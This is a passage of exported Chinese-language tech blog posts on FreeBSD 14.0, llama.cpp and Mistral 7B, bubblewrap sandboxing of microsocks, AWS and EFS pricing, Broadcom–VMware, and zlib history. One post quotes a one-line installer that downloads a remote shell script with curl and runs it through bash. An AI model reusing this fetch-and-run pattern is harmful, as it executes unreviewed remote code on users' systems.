binaries.</blockquote>\r\n\r\n然後有些我自己翻覺得還蠻有趣的。\r\n\r\n首先是看到 non-root 的 <a href=\"https://en.wikipedia.org/wiki/Chroot\">chroot</a>：\r\n\r\n<blockquote>The chroot facility supports unprivileged operation, and the chroot(8) program has a -n option to enable its use. a40cf4175c90 (Sponsored by EPSRC)</blockquote>\r\n\r\n然後把 <a href=\"https://www.openssh.com/\">OpenSSH</a> 內對 FIDO/<a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 的支援開起來了：\r\n\r\n<blockquote>The use of FIDO/U2F hardware authenticators has been enabled in ssh, using the new public key types ecdsa-sk and ed25519-sk, along with corresponding certificate types. FIDO/U2F support is described in https://www.openssh.com/txt/release-8.2. e9a994639b2a (Sponsored by The FreeBSD Foundation)</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\">ASLR</a> 預設開啟：\r\n\r\n<blockquote>Address Space Layout Randomization (ASLR) is enabled for 64-bit executables by default. It can be disabled as needed if applications fail unexpectedly, for example with segmentation faults. To disable for a single invocation, use the proccontrol(1) command: proccontrol -m aslr -s disable command. To disable ASLR for all invocations of a binary, use the elfctl(1) command: elfctl -e +noaslr file. Problems should be reported via the problem reporting system, https://bugs.freebsd.org, or posting to the freebsd-stable@FreeBSD.org mailing list. b014e0f15bc7 (Sponsored by Stormshield)</blockquote>\r\n\r\n然後先前被罵臭頭的 <a href=\"https://en.wikipedia.org/wiki/WireGuard\">WireGuard</a> 支援也放回來了：(「<a href=\"https://blog.gslin.org/archives/2021/03/29/10092/freebsd-pfsense-%E4%B8%8A%E7%9A%84-wireguard-%E5%95%8F%E9%A1%8C/\">FreeBSD &amp; pfSense 上的 WireGuard 問題</a>」)\r\n\r\n<blockquote>The kernel wg(4) WireGuard driver has been reintegrated; it provides Virtual Private Network (VPN) interfaces using the WireGuard protocol. 744bfb213144 (Sponsored by Rubicon Communications, LLC (\"Netgate\") and The FreeBSD Foundation)</blockquote>\r\n\r\n然後看到 <a href=\"https://www.netflix.com/\">Netflix</a> 贊助的 kTLS 支援 TLS 1.3：\r\n\r\n<blockquote>KTLS (the kernel TLS implementation) has added receive offload support for TLS 1.3. Receive offload is now supported for TLS 1.1 through 1.3; send offload is supported for TLS 1.0 through 1.3. 05a1d0f5d7ac (Sponsored by Netflix)</blockquote>\r\n\r\n然後 FreeBSD 長久以來 root 預設用的 <code>/bin/csh</code> 改成 <code>/bin/sh</code> 了：\r\n\r\n<blockquote>The default shell for the root user is now sh(1), which has many new features for interactive use. d410b585b6f0</blockquote>\r\n\r\n預設的 <a href=\"https://en.wikipedia.org/wiki/Message_transfer_agent\">MTA</a> 變成 <a href=\"https://man.freebsd.org/cgi/man.cgi?query=dma&amp;sektion=8&amp;format=html\">dma</a> (Dragonfly Mail Agent)，看名字加上翻了一下 manpage，確認是從 <a href=\"https://en.wikipedia.org/wiki/DragonFly_BSD\">Dragonfly BSD</a> 移植過來的：\r\n\r\n<blockquote>The default mail transport agent (MTA) is now the Dragonfly Mail Agent (dma(8)) rather than sendmail(8). Configuration of the MTA is done via mailer.conf(5). sendmail(8) and its configuration remain available. a67b925ff3e5</blockquote>\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/Portsnap\">portsnap</a> 被拔掉了，現在就建議直接用 <a href=\"https://git-scm.com/\">git</a> 拉了，算是功成身退了：\r\n\r\n<blockquote>The portsnap(8) utility has been removed. Users are encouraged to fetch the ports tree by using pkg install git and then git clone https://git.FreeBSD.org/ports.git /usr/ports. df53ae0fdd98</blockquote>\r\n\r\n而 mergemaster 也被換成 etcupdate 了：\r\n\r\n<blockquote>mergemaster(8) has been deprecated. Its replacement is etcupdate(8). 398b12691b4f (Sponsored by The FreeBSD Foundation)</blockquote>\r\n\r\n然後支援 tarfs，而且可以用 <a href=\"https://en.wikipedia.org/wiki/Zstd\">zstd</a>：\r\n\r\n<blockquote>The tarfs(5) file system has been added, which is backed by POSIX tar archives optionally compressed with zstd(1). 69d94f4c7608 (Sponsored by Juniper Networks, Inc.) (Sponsored by Klara, Inc.)</blockquote>\r\n\r\n好久沒看 FreeBSD 的 release notes...",
    "title": "FreeBSD 14.0 釋出"
  },
  {
    "id": "11473",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的大頭在與 <a href=\"https://store.epicgames.com/en-US/\">Epic</a> 的訴訟案中被要求揭露了實際的數據：「<a href=\"https://www.theverge.com/2023/11/20/23969690/google-spotify-android-billing-commission-secret-deal\">A secret Google deal let Spotify completely bypass Android’s app store fees</a>」。\r\n\r\n如果是透過 <a href=\"https://www.spotify.com/\">Spotify</a> 自家的金流平台，就完全不用付錢給 Google，如果是透過 Google 的平台則是 4%，遠低於一般上架商家的 15% (超過 $1M/y 的部分則會到 30%)：\r\n\r\n<blockquote>On the stand, Google head of global partnerships Don Harrison confirmed Spotify paid a 0 percent commission when users chose to buy subscriptions through Spotify’s own system. If the users picked Google as their payment processor, Spotify handed over 4 percent — dramatically less than Google’s more common 15 percent fee.</blockquote>\r\n\r\n來看後續法院以及歐盟會怎麼出手？這應該會是蠻重要的證據資料...",
    "title": "Spotify 在 Google Play 上面不需要付 15% 的過路費"
  },
  {
    "id": "11475",
    "body": "看到「<a href=\"https://www.broadcom.com/blog/broadcom-announces-successful-acquisition-of-vmware\">Broadcom announces successful acquisition of VMware</a>」這則公告，想要找 <a href=\"https://www.vmware.com/\">VMware</a> 發的新聞稿但沒找到，反倒是 <a href=\"https://www.broadcom.com/\">Broadcom</a> 這邊還有一篇「<a href=\"https://www.broadcom.com/company/news/financial-releases/61541\">Broadcom Completes Acquisition of VMware</a>」。\r\n\r\n不知道要說什麼... 有種當年 <a href=\"https://www.intel.com/\">Intel</a> 買下 <a href=\"https://www.mcafee.com/McAfee\">McAfee</a> 的感覺？到底會有什麼想法？\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論蠻有趣的：「<a href=\"https://news.ycombinator.com/item?id=38380137\">VMware is now part of Broadcom (broadcom.com)</a>」。\r\n\r\n<blockquote>[...] Broadcom will get blood from the stone, rest assured. They will continue to raise maintenance and licensing fees until they very last customer turns off their last ESXi box. If you think IBM and mainframe is bad, you've never lived with a technology that Broadcom has acquired.</blockquote>",
    "title": "Broadcom 買下 VMware"
  },
  {
    "id": "11476",
    "body": "看到「<a href=\"https://blog.cloudflare.com/workers-ai-update-hello-mistral-7b/\">Workers AI Update: Hello Mistral 7B</a>」這篇想到的，先前有提到「<a href=\"https://blog.gslin.org/archives/2023/09/28/11373/%E8%99%9F%E7%A8%B1%E7%9B%AE%E5%89%8D%E6%9C%80%E5%BC%B7%E7%9A%84-mistral-7b/\">號稱目前最強的 Mistral 7B</a>」，加上有一陣子沒看 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 最近的發展，跳下去重新測試時發現有不少進展。\r\n\r\n一個比較大的進展是 llama.cpp 推出 gguf 格式，取代之前的 ggml 格式。\r\n\r\n新的格式可以想像是在檔案裡面放了通用性的 feature flag，就不會遇到新的 model 用到新的方法，沒辦法在 ggml 裡面指定 + 新增 feature，就得把 llama.cpp 整包 fork 拉出出去大改。\r\n\r\n這差不多是三個月前的事情，蠻多 model 都已經支援了，像是 <a href=\"https://huggingface.co/maddes8cht\">maddes8cht</a> 這邊就整理了很多 OSL model (open source license) 可以直接下載下來用，不需要自己轉檔。\r\n\r\n像是 <a href=\"https://huggingface.co/tiiuae/falcon-40b\">Falcon 40B</a> 與標題提到的 <a href=\"https://huggingface.co/mistralai/Mistral-7B-v0.1\">Mistral 7B</a>，以及對應的 Instruct 版本 <a href=\"https://huggingface.co/mistralai/Mistral-7B-Instruct-v0.1\">Mistral 7B Instruct</a> 都有轉好的檔案可以下載。\r\n\r\n另外一個有趣的功能是 llama.cpp 有了輸出 embedding 的能力，在編完後會多了一個 <code>embedding</code> 執行檔可以用；原來的主程式 <code>main</code> 也還在。\r\n\r\n往 git repository 裡面看了一下記錄，差不多是在今年三月就已經有的功能，然後九月加到 <code>README.md</code> 裡面說明。\r\n\r\n在蠻多情況下 embedding 輸出 vector 會比輸出 string 好用很多，像是相似度、推薦、語意分析這些計算；拿到 vector 後就算沒有專門的系統處理，用個 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 搭個能進行 vector 計算的 plugin 也就可以弄出不少東西了 (像是 <a href=\"https://github.com/pgvector/pgvector\">pgvector</a>)。\r\n\r\n不過會用 embedding 的人應該早就用 <a href=\"https://pytorch.org/\">PyTorch</a> 或是其他工具，直接拉出來用了，llama.cpp 支援輸出 embedding 算是有趣但沒有到重要？\r\n\r\n然後是支援 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a>，這個功能讓不少非 <a href=\"https://www.nvidia.com/\">Nvidia</a> 的平台可以利用 GPU 資源加速，像是 <a href=\"https://www.amd.com/\">AMD</a> 的顯卡，以及一些嵌入式系統，這點對於 llama.cpp 當初的目標就蠻有幫助的...\r\n\r\n回到 Mistral 7B Instruct，其實小模型還是小模型，我問個演算法的題目：\r\n\r\n<pre>./main -m models/7B/mistral-7b-instruct-v0.1.Q8_0.gguf -t 1 -ngl 32 -p '請給出一個 python 寫的 fibonacci sequence 演算法，需要 O(log(n)) 的時間複雜度。'</pre>\r\n\r\n輸出長這樣：\r\n\r\n<pre>\r\n 請給出一個 python 寫的 fibonacci sequence 演算法，需要 O(log(n)) 的時間複雜度。\r\n\r\n```python\r\ndef fib_seq(n):\r\n    return get_fibonacci(n, 0, 1)\r\n\r\n\r\ndef get_fibonacci(n, a=0, b=1):\r\n    if n == 0:\r\n        return []\r\n    if n == 1:\r\n        return [a]\r\n    fib_seq = [a]\r\n    for i in range(1, n):\r\n        fib_seq.append(get_fibonacci(i, b, a + b)[0])\r\n    return fib_seq\r\n``` [end of text]\r\n</pre>\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/ChatGPT\">ChatGPT</a> 的話可以給出一個正確的演算法，這邊只需要 ChatGPT-3.5 的 model 就可以了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1700734692-7ccb6694.webp\" /><img src=\"https://i.gslin.com/s/1700734692-7ccb6694.png\" alt=\"\" /></picture>",
    "title": "用 llama.cpp 玩 Mistral 7B Instruct，補一下 llama.cpp 的發展"
  },
  {
    "id": "11479",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到這則：「<a href=\"https://news.ycombinator.com/item?id=38276515\">Is Delaware the cheapest place to incorporate?</a>」，當初只是瞄過去，但突然注意到提到 Taiwan：\r\n\r\n<blockquote>I am living in Taiwan and want to create a startup. The business will be mostly open source and likely to have low to no revenue.\r\n\r\nI see that US states like Colorado have no franchise tax. But I also saw posts here that Delaware is usually ultimately cheaper.\r\n\r\nWhat is the recommendation for a company to manage an open source project? Sure it might be worth money, but likely not, so I would like to keep money tight.\r\n\r\nthanks!</blockquote>\r\n\r\n翻了使用者資料，似乎是在台灣的美國人問的問題，希望在美國成立一個公司...\r\n\r\n然後目前最上面的留言給的答案給了很多 if-else 條件告訴你怎麼選：\r\n\r\n<blockquote>I'm an attorney.\r\n\r\nDelaware is definitely not the cheapest or even in contention for the cheapest.\r\n\r\nStill, if you want to raise capital, the correct answer is DE C Corp. If you're not looking for external funding, any state will do. If you care about anonymity, do Nevada or Wyoming. If you don't care about anonymity, Colorado is actually a very good choice. Very simple, intuitive online filing system that accepts filings instantaneously. Filing fees as cheap as anywhere in the country. No need for an attorney (or LegalZoom or some other random service) unless you just don't feel like dealing with it.\r\n\r\nCosts will likely be $50 to file, Registered Agent (as cheap as $30 per annum), and $10 periodic report fee annually every year you're in business. Colorado is even nice enough to send plenty of reminders on when to file that report if you give them an email address.\r\n\r\nSince you're a US citizen, my instinct would be LLC taxed as an S corp. But confirm with your accountant!\r\n\r\nGood luck!</blockquote>\r\n\r\n下面其他的留言也差不多，另外剛好也有人問這位律師為什麼打算要募資的話，會選擇 Delaware：\r\n\r\n<blockquote>It's just industry standard for capital raises. All corporate attorneys learn DE law when they go to law school and are expected to know it if they practice corporate law. A Colorado attorney doesn't know California law and a California attorney doesn't know New York law, but if they do corporate legal work, they're all expected to know how to deal with DE law.</blockquote>\r\n\r\n因為學校裡教過，大家都知道要怎麼搞 XDDD\r\n\r\n另外維基百科也有提到因為對企業友善，有很多公司是掛在 DE，甚至連 <a href=\"https://en.wikipedia.org/wiki/New_York_Stock_Exchange\">NYSE</a> 都掛在 DE：\r\n\r\n<blockquote>66% of the Fortune 500, including Walmart and Apple (two of the world's largest companies by revenue) are incorporated (and therefore have their domiciles for service of process purposes) in the state. Over half of all publicly traded corporations listed in the New York Stock Exchange (including its owner, Intercontinental Exchange) are incorporated in Delaware.</blockquote>\r\n\r\n算是個有趣的知識...",
    "title": "美國成立公司的成本"
  },
  {
    "id": "11482",
    "body": "我家裡的桌機有兩個有線網路，一個是 <a href=\"https://www.hinet.net/\">HiNet</a> 光世代，另外一個是社區網路 (其實出去也是光世代)，像是這篇提到的架構 (只是當時還住在後山埤，另外那條是<a href=\"https://www.taipeinet.com.tw/\">北都</a>的第四台網路)：「<a href=\"https://blog.gslin.org/archives/2022/09/04/10877/ubuntu-%E4%B8%8B%E9%9D%A2%E6%90%9E-multi-home-%E6%9E%B6%E6%A7%8B/\">Ubuntu 下面搞 Multi-home 架構</a>」。\r\n\r\n我在上面那篇提到要怎麼以 source ip address 來決定 routing，然後我就可以跑 <a href=\"https://en.wikipedia.org/wiki/Squid_(software)\">Squid</a>，並且在 Squid 上面指定 source ip 來達到目標。\r\n\r\n後來有做了一些改變，最主要是換成 <a href=\"https://github.com/rofl0r/microsocks\">microsocks</a>。\r\n\r\n一個原因個是 Squid 比較「重」(heavy)，microsocks 比較清量；第二個是 Squid 走的 <code>CONNECT</code> 支援的程式比較少，<a href=\"https://en.wikipedia.org/wiki/SOCKS\">SOCKS</a> 支援度高一些。\r\n\r\n不過當 HiNet 線路有問題的時候，會發現 DNS 的查詢失敗，主要的原因是 microsocks 會讀 <code>/etc/resolv.conf</code> 的資料，裡面是 <code>168.95.192.1</code> 與 <code>168.95.1.1</code>，而且 microsocks 呼叫的 <code>getaddrinfo()</code> 沒有 IP binding，還是會試著走原來的線路出去。\r\n\r\n所以這邊就得想辦法把 <code>/etc/resolv.conf</code> 換成我們自己加工的版本，這邊我用了 <a href=\"https://github.com/containers/bubblewrap\">bubblewrap</a> 來做：\r\n\r\n<pre>/usr/bin/bwrap --unshare-all --share-net --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /lib64 /lib64 --ro-bind ~/microsocks/resolv.conf /etc/resolv.conf /usr/sbin/microsocks -i 0.0.0.0 -p 11080 -b 192.168.2.123</pre>\r\n\r\n先把所有東西都隔開 (<code>--unshare-all</code>)，再把網路開通 (<code>--share-net</code>)，接著把 <code>/usr</code>、<code>/lib</code> 以及 <code>/lib64</code> 掛上來 (因為 microsocks 需要這些 library)，然後 <code>/etc</code> 下的東西只掛了一個自己建的 <code>/etc/resolv.conf</code> 上來，裡面指到 router 上 (我的 router 有 DNS proxy)：\r\n\r\n<pre>nameserver 192.168.2.254</pre>\r\n\r\n這邊因為是 subnet traffic，自動選定的 source ip 會是本機 192.168.2.x 的 IP，就剛好避開這個問題，這樣無論 HiNet 線路的情況都不會影響到 microsocks 了。\r\n\r\n這邊有個小插曲，因為追問題所以用 <a href=\"https://en.wikipedia.org/wiki/Strace\">strace</a> 看了半天才發現一開始我用 bubblewrap 時是這樣寫：\r\n\r\n<pre>/usr/bin/bwrap --bind / / --bind ~/microsocks/resolv.conf /etc/resolv.conf /usr/sbin/microsocks -i 0.0.0.0 -p 11080 -b 192.168.2.123</pre>\r\n\r\n結果發現 microsocks 第一次讀 <code>/etc/resolv.conf</code> 的時候的確是讀到 <code>~/microsocks/resolv.conf</code>，但網路斷掉後 (<code>/etc/resolv.conf</code> 會被改動) 他會讀到原始的 <code>/etc/resolv.conf</code> (i.e. 沒有被替換掉)，判讀 strace log 到這邊的時候差點罵出來... @_@\r\n\r\n沒有往下追的太細，但猜測可能是 <code>--bind / /</code> 與 <code>--bind ~/microsocks/resolv.conf /etc/resolv.conf</code> 有處理上的衝突？總之我後來改成 <code>--unshare-all</code>，再把要掛的東西掛上去，就沒這個問題了...",
    "title": "用 bubblewrap (bwrap) 針對特定程式抽換 /etc/resolv.conf"
  },
  {
    "id": "11483",
    "body": "<a href=\"https://gitea.com/\">Gitea</a> 推出了 <a href=\"https://about.gitea.com/products/cloud\">Gitea Cloud</a>：「<a href=\"https://blog.gitea.com/gitea-cloud/\">Gitea Cloud: A brand new platform for managed Gitea Instances</a>」。\r\n\r\n費用是 $19/user/mo 或是 $190/user/y，這個價位會對應到 <a href=\"https://github.com/\">GitHub</a> 裡 Enterprise 等級的費用 ($21/user/mo 或是 $231/user/y)。GitLab 的話 Premium 的費用是 $348/user/y，高出不少...\r\n\r\n依照官方的說明，看起來是 instance 直接拆開，所以也可以選擇 region：\r\n\r\n<blockquote>Dedicated instances, full control in your hand:</blockquote>\r\n\r\n<blockquote>Chose your cloud provider and region</blockquote>\r\n\r\n這應該算是架構面上與其他兩家最大的差異了，走的應該是 multi-tenancy 的模式。但市場接受度不曉得如何...",
    "title": "Gitea 推出了自己的 Cloud 版本：Gitea Cloud"
  },
  {
    "id": "11484",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38431792\">FreeBSD 14.0 Delivering Great Performance Uplift (phoronix.com)</a>」這篇，原文在「<a href=\"https://www.phoronix.com/review/freebsd-14-epyc\">FreeBSD 14.0 Is Delivering Great Performance Uplift &amp; Running Well In Early Tests</a>」這邊。\r\n\r\n測試平台是 <a href=\"https://www.amd.com/en/products/cpu/amd-epyc-8534p\">AMD EPYC™ 8534P</a> (64 cores &amp; 128 threads)，是個今年九月才推出的 CPU，另外底層 filesystem 是跑 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a>。\r\n\r\n翻了一輪測試的資訊，幾乎是所有的項目都有提升 (少數幾樣有些微退步)，但以 <a href=\"https://www.phoronix.com/\">Phoronix</a> 的測試計算，整體計算起來有 18% 的提升，對於 OS 升級帶來的提升算是蠻巨大的：\r\n\r\n<blockquote>Across the span of five dozen benchmarks carried out on this AMD EPYC 8534P server of FreeBSD 13.2 vs. FreeBSD 14.0, the newly-released FreeBSD 14 was on average 18% faster than its predecessor. Not bad for a simple OS upgrade. I've been seeing very healthy gains on other x86_64 servers tested so far while due to hardware availability haven't yet tried any AArch64 servers.</blockquote>\r\n\r\n依照他的說明，後續會有跟其他 Linux distribution 的比較，到時候可以回來再看看：\r\n\r\n<blockquote>I'll be running more FreeBSD 14.0 server benchmarks shortly along with following that up by looking at the FreeBSD 14.0 performance against the latest leading Linux distributions. In any event I'm quite happy thus far with the performance and experience in my FreeBSD 14.0 testing.</blockquote>\r\n\r\n回頭看報告裡面比較特別的部分，一個是 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的部分有下滑一些，這點應該跟版本更新有關，在 FreeBSD 14.0 的 Release Notes 裡面有提到大版本升級：\r\n\r\n<blockquote>OpenSSL has been upgraded to version 3.0.12. This is a major upgrade from version 1.1.1, which has reached its end of life. Many components of the base system use a backward-compatible API, but will be migrated later. aa7957345732 930cec16d9ee b077aed33b7b (Sponsored by The FreeBSD Foundation)</blockquote>\r\n\r\n另外一點是在 Page 4 裡面，可以看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 16 的效能提升非常明顯，無論是 TPS 還是 latency 都有非常巨大的改善。",
    "title": "FreeBSD 14.0 對比於 13.2 有顯著的效能提升"
  },
  {
    "id": "11485",
    "body": "最近是 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2023，會有蠻多消息陸陸續續冒出來。\r\n\r\n剛剛看到「<a href=\"https://aws.amazon.com/blogs/aws/introducing-amazon-ec2-high-memory-u7i-instances-for-large-in-memory-databases-preview/\">Introducing Amazon EC2 high memory U7i Instances for large in-memory databases (preview)</a>」這個，<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <code>u7in-32tb.224xlarge</code>，896 vCPU + 32TB RAM 的機器。\r\n\r\n先前最大的應該是 <code>u-24tb1.112xlarge</code>，448 vCPU + 24TB RAM 的機器 (包括 vCPU 數量與記憶體大小)，所以這次 vCPU 數量多一倍，記憶體多 50%。\r\n\r\n很理所當然的又拿 <a href=\"https://www.sap.com/\">SAP</a> 來介紹了：\r\n\r\n<blockquote>The new U7i instances are designed to support large, in-memory databases including SAP HANA, Oracle, and SQL Server.</blockquote>\r\n\r\n比較特別的是 <code>us-east-1</code> 沒有在第一波的名單，反而是 <code>us-west-2</code> 以及其他的區域，不確定當初怎麼決定的：\r\n\r\n<blockquote>Powered by custom fourth generation Intel Xeon Scalable Processors (Sapphire Rapids), the instances are now available in multiple AWS regions in preview form, in the US West (Oregon), Asia Pacific (Seoul), and Europe (Frankfurt) AWS Regions, as follows[.]</blockquote>\r\n\r\n因為是 preview 階段，可能是這些區域有大客戶有需求，所以先佈到這幾區？",
    "title": "AWS 推出 32TB RAM 的機種 u7in-32tb.224xlarge"
  },
  {
    "id": "11486",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 這次推出的是再多推出一個 storage class：「<a href=\"https://aws.amazon.com/blogs/aws/optimize-your-storage-costs-for-rarely-accessed-files-with-amazon-efs-archive/\">Optimize your storage costs for rarely-accessed files with Amazon EFS Archive</a>」。\r\n\r\n先前應該是 2019 的時候推出了 IA：「<a href=\"https://blog.gslin.org/archives/2019/02/15/8743/amazon-efs-%E7%9A%84-ia-storage-class/\">Amazon EFS 的 IA Storage Class</a>」，現在的 Archive 就是新的 storage class，儲存成本更便宜，但取用成本更高。\r\n\r\n以 <code>us-east-1</code> 的價錢來看，可以到 Archive 的成本是 IA 的一半：\r\n\r\n<pre>Standard (GB-Month)\t$0.30\r\nInfrequent Access (GB-Month)\t$0.016\r\nArchive (GB-Month)\t$0.008\r\nBackup - Warm / Cold (GB-Month)\t$0.05 / $0.01</pre>\r\n\r\n讀取成本則是 IA 的三倍：(這邊的 Tiering 指的是自動化的搬遷的服務)\r\n\r\n<pre>All storage classes - Reads (per GB transferred)\t$0.03\r\nAll storage classes - Writes (per GB transferred)\t$0.06\r\nInfrequent Access - Reads (incremental charge per GB transferred)\t$0.01\r\nInfrequent Access - Tiering (per GB transferred)*\t$0.01\r\nArchive - Reads (incremental charge per GB transferred)\t$0.03\r\nArchive - Tiering (per GB transferred)*\t$0.03</pre>\r\n\r\n基本上就是 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 那套分級方法陸陸續續搬過來的感覺。\r\n\r\n然後注意到這個「Regional (Multi-AZ) with Elastic Throughput」是新的計價方案，就算是 Standard storage class，I/O 是要算錢的。\r\n\r\n在舊的方案「Regional (Multi-AZ) with legacy throughput modes」裡面，Standard 的 I/O 是不用額外付費，已經包在裡面，除非你直接購買 Provisioned (保證速度)：\r\n\r\n<pre>Standard (GB-Month)\t$0.30\r\nInfrequent Acces (GB-Month)\t$0.025\r\nBackup - Warm / Cold (GB-Month)\t$0.05 / $0.01</pre>\r\n\r\n<pre>Provisioned Throughput (MB/s-Month)\t$6.00\r\nInfrequent Access - Reads (per GB transferred)\t$0.01\r\nInfrequent Access - Tiering (per GB transferred)*\t$0.01</pre>\r\n\r\n翻了一下 <a href=\"https://web.archive.org/\">Internet Archive</a> 可以確認前幾天 2023/11/26 的 pricing 頁面還是舊的，也就是說這是這次推出來的改變：「<a href=\"https://web.archive.org/web/20231126152300/https://aws.amazon.com/efs/pricing/\">Amazon EFS Pricing</a>」。\r\n\r\n看了一下目前 blog 上最近掛 Amazon EFS 類別的三篇都沒提到這件事情 (「<a href=\"https://aws.amazon.com/blogs/aws/new-announcing-amazon-efs-elastic-throughput/\">New – Announcing Amazon EFS Elastic Throughput</a>」、「<a href=\"https://aws.amazon.com/blogs/aws/optimize-your-storage-costs-for-rarely-accessed-files-with-amazon-efs-archive/\">Optimize your storage costs for rarely-accessed files with Amazon EFS Archive</a>」以及「<a href=\"https://aws.amazon.com/blogs/aws/replication-failback-and-increased-iops-are-new-for-amazon-efs/\">Replication failback and increased IOPS are new for Amazon EFS</a>」)，要用的人自己注意一下？",
    "title": "Amazon EFS 漲價，再推出給更「冷」的資料儲存的空間：Amazon EFS Archive"
  },
  {
    "id": "11487",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38432127\">How are zlib, gzip and zip related? (stackoverflow.com)</a>」這個討論，原文是 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上 2013 年時的問題與回答：「<a href=\"https://stackoverflow.com/questions/20762094/how-are-zlib-gzip-and-zip-related-what-do-they-have-in-common-and-how-are-they\">How are zlib, gzip and zip related? What do they have in common and how are they different?</a>」。\r\n\r\nshort form 算是解釋了這三個的關係，另外多帶出了其他相關的格式以及演算法：\r\n\r\n<blockquote>.zip is an archive format using, usually, the Deflate compression method. The .gz gzip format is for single files, also using the Deflate compression method. Often gzip is used in combination with tar to make a compressed archive format, .tar.gz. The zlib library provides Deflate compression and decompression code for use by zip, gzip, png (which uses the zlib wrapper on deflate data), and many other applications.</blockquote>\r\n\r\n而 long form 則是描述了整段歷史，完整到下面的 comment 有人提到希望能夠提供一些引用的連結，當作 reference：\r\n\r\n<blockquote>This post is packed with so much history and information that I feel like some citations need be added incase people try to reference this post as an information source. Though if this information is reflected somewhere with citations like Wikipedia, a link to such similar cited work would be appreciated.</blockquote>\r\n\r\n回答的作者 <a href=\"https://en.wikipedia.org/wiki/Mark_Adler\">Mark Adler</a> 也在 comment 上很霸氣的回：\r\n\r\n<blockquote>I am the reference, having been part of all of that. This post could be cited in Wikipedia as an original source.</blockquote>\r\n\r\n翻了一下他的事蹟：\r\n\r\n<ul>\r\n\t<li><a href=\"https://en.wikipedia.org/wiki/Adler-32\">Adler-32</a> 演算法，用在 <a href=\"https://en.wikipedia.org/wiki/Zlib\">zlib</a>。</li>\r\n\t<li>zlib 與 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 當初的共同作者。</li>\r\n\t<li><a href=\"https://en.wikipedia.org/wiki/PNG\">PNG</a> 在 <a href=\"https://www.rfc-editor.org/rfc/rfc2083\">RFC 2083</a> 上的共同作者。</li>\r\n</ul>\r\n\r\n老人家交代了當年的一些脈絡 (像是專利問題)，會更容易理解為什麼現在發展成這樣...",
    "title": "zlib、gzip 與 zip 的關係 (Mark Adler 的回覆)"
  },
  {
    "id": "11488",
    "body": "<a href=\"https://ggerganov.com/\">Georgi Gerganov</a> 寫了一篇怎麼在 <a href=\"https://aws.amazon.com/\">AWS</a> 上面用 GPU instance 跑 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 的說明：「<a href=\"https://github.com/ggerganov/llama.cpp/discussions/4225\">Using llama.cpp with AWS instances #4225</a>」。\r\n\r\n先跳到最後面的懶人套件，直接提供了 shell script 幫你弄完：\r\n\r\n<pre>bash -c \"$(curl -s https://ggml.ai/server-llm.sh)\"</pre>\r\n\r\n回到開頭的部分，機器的選擇上面，他選了一台最便宜的 4 vCPU + 16GB RAM + 16GB VRAM 的機器來跑。\r\n\r\n然後他提到了 <a href=\"https://huggingface.co/teknium/OpenHermes-2.5-Mistral-7B\">OpenHermes-2.5-Mistral-7B</a> 這個模型最近很紅，也許有機會看一下：\r\n\r\n<blockquote>We have just 16GB VRAM to work with, so we likely want to choose a 7B model. Lately, the OpenHermes-2.5-Mistral-7B model is getting some traction so let's go with it.</blockquote>\r\n\r\n用 llama.cpp 裡面的 <code>server</code> 跑起 API server：\r\n\r\n<pre>./server -m models/openhermes-7b-v2.5/ggml-model-q4_k.gguf --port 8888 --host 0.0.0.0 --ctx-size 10240 --parallel 4 -ngl 99 -n 512</pre>\r\n\r\n接著就可以用 <a href=\"https://en.wikipedia.org/wiki/CURL\">cURL</a> 測試：\r\n\r\n<pre>curl -s http://XXX.XXX.XXX.XXX:8888/v1/chat/completions \\\r\n    -H \"Content-Type: application/json\" \\\r\n    -H \"Authorization: Bearer no-key\" \\\r\n    -d '{\r\n        \"model\": \"gpt-3.5-turbo\",\r\n        \"messages\": [\r\n            {\r\n                \"role\": \"system\",\r\n                \"content\": \"You are ChatGPT, an AI assistant. Your top priority is achieving user fulfillment via helping them with their requests.\"\r\n            },\r\n            {\r\n                \"role\": \"user\",\r\n                \"content\": \"Write a limerick about python exceptions\"\r\n            }\r\n        ]\r\n    }' | jq</pre>\r\n\r\n都包好了...",
    "title": "Georgi Gerganov 給了在 AWS 上面用 GPU instance 跑 llama.cpp 的說明"
  },
  {
    "id": "11489",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38436419\">Broadcom lays off many VMware employees after closing acquisition (businessinsider.com)</a>」這篇，前幾天 <a href=\"https://www.broadcom.com/\">Broadcom</a> 買下 <a href=\"https://www.vmware.com/\">VMware</a> 的消息才公告出來 (參考「<a href=\"https://blog.gslin.org/archives/2023/11/23/11475/broadcom-%e8%b2%b7%e4%b8%8b-vmware/\">Broadcom 買下 VMware</a>」)，馬上就有裁員的消息了... 原始報導在「<a href=\"https://www.businessinsider.com/broadcom-vmware-layoffs-employees-face-job-cuts-acquisition-2023-11\">Broadcom lays off many VMware employees after closing its $69 billion acquisition of the company</a>」，不過因為 paywall 的關係，可以看參考 <a href=\"https://archive.today/\">archive.today</a> 上面的頁面：「<a href=\"https://archive.md/V9Y67\">Broadcom lays off many VMware employees after closing its $69 billion acquisition of the 